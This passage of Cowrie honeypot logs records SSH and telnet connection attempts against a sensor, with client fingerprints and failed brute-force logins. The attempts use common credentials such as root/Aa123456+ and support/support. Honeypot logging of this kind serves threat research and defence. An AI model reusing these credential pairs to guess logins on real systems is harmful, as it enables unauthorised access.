6-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:34.114292Z","src_ip":"91.92.40.11","session":"826e396b24e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"Apache123","message":"login attempt [apache/Apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:34.678461Z","src_ip":"91.92.40.11","session":"826e396b24e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:34.695832Z","src_ip":"45.156.87.253","session":"94047f2d730f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:35.903415Z","src_ip":"91.92.40.11","session":"826e396b24e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54720,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a2c1b78f8d","protocol":"ssh","message":"New connection: 45.156.87.253:54720 (10.17.0.5:22) [session: b9a2c1b78f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:36.372141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:36.376467Z","src_ip":"45.156.87.253","session":"b9a2c1b78f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:36.457445Z","src_ip":"45.156.87.253","session":"b9a2c1b78f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:36.701948Z","src_ip":"45.156.87.253","session":"b9a2c1b78f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:37.922004Z","src_ip":"45.156.87.253","session":"b9a2c1b78f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39652,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9cc62254c2","protocol":"ssh","message":"New connection: 45.156.87.253:39652 (10.17.0.5:22) [session: 4b9cc62254c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:39.490423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:39.493323Z","src_ip":"45.156.87.253","session":"4b9cc62254c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:39.572687Z","src_ip":"45.156.87.253","session":"4b9cc62254c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:39.813655Z","src_ip":"45.156.87.253","session":"4b9cc62254c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:40.896862Z","src_ip":"45.156.87.253","session":"4b9cc62254c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39664,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d6079e468a","protocol":"ssh","message":"New connection: 45.156.87.253:39664 (10.17.0.5:22) [session: f4d6079e468a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:42.687380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:42.690857Z","src_ip":"45.156.87.253","session":"f4d6079e468a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:42.770735Z","src_ip":"45.156.87.253","session":"f4d6079e468a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:43.013915Z","src_ip":"45.156.87.253","session":"f4d6079e468a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:44.096420Z","src_ip":"45.156.87.253","session":"f4d6079e468a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39680,"dst_ip":"10.17.0.5","dst_port":22,"session":"674d7629acfe","protocol":"ssh","message":"New connection: 45.156.87.253:39680 (10.17.0.5:22) [session: 674d7629acfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:45.798369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:45.801290Z","src_ip":"45.156.87.253","session":"674d7629acfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:45.881595Z","src_ip":"45.156.87.253","session":"674d7629acfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:46.125987Z","src_ip":"45.156.87.253","session":"674d7629acfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:47.262233Z","src_ip":"45.156.87.253","session":"674d7629acfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39692,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10d56b3889f","protocol":"ssh","message":"New connection: 45.156.87.253:39692 (10.17.0.5:22) [session: e10d56b3889f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:48.921109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:48.924031Z","src_ip":"45.156.87.253","session":"e10d56b3889f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:49.006478Z","src_ip":"45.156.87.253","session":"e10d56b3889f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:49.246775Z","src_ip":"45.156.87.253","session":"e10d56b3889f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:50.329660Z","src_ip":"45.156.87.253","session":"e10d56b3889f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":54756,"dst_ip":"10.17.0.5","dst_port":23,"session":"538eedf72f2f","protocol":"telnet","message":"New connection: 50.62.181.92:54756 (10.17.0.5:23) [session: 538eedf72f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:50.795705Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52318,"dst_ip":"10.17.0.5","dst_port":22,"session":"e24408c3bee6","protocol":"ssh","message":"New connection: 45.156.87.253:52318 (10.17.0.5:22) [session: e24408c3bee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:51.997862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:52.001958Z","src_ip":"45.156.87.253","session":"e24408c3bee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:52.081969Z","src_ip":"45.156.87.253","session":"e24408c3bee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"dev","message":"login attempt [developer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:52.324574Z","src_ip":"45.156.87.253","session":"e24408c3bee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:53.407526Z","src_ip":"45.156.87.253","session":"e24408c3bee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52328,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a593ef1b1e","protocol":"ssh","message":"New connection: 45.156.87.253:52328 (10.17.0.5:22) [session: 62a593ef1b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:55.192262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:55.195101Z","src_ip":"45.156.87.253","session":"62a593ef1b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:55.276046Z","src_ip":"45.156.87.253","session":"62a593ef1b1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:55.520975Z","src_ip":"45.156.87.253","session":"62a593ef1b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:56.604532Z","src_ip":"45.156.87.253","session":"62a593ef1b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":42582,"dst_ip":"10.17.0.5","dst_port":22,"session":"dccac13d6ebb","protocol":"ssh","message":"New connection: 165.22.184.88:42582 (10.17.0.5:22) [session: dccac13d6ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:57.000559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:57.004864Z","src_ip":"165.22.184.88","session":"dccac13d6ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:57.010095Z","src_ip":"165.22.184.88","session":"dccac13d6ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"algorand","password":"algorand123","message":"login attempt [algorand/algorand123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:57.022485Z","src_ip":"165.22.184.88","session":"dccac13d6ebb","protocol":"ssh"}
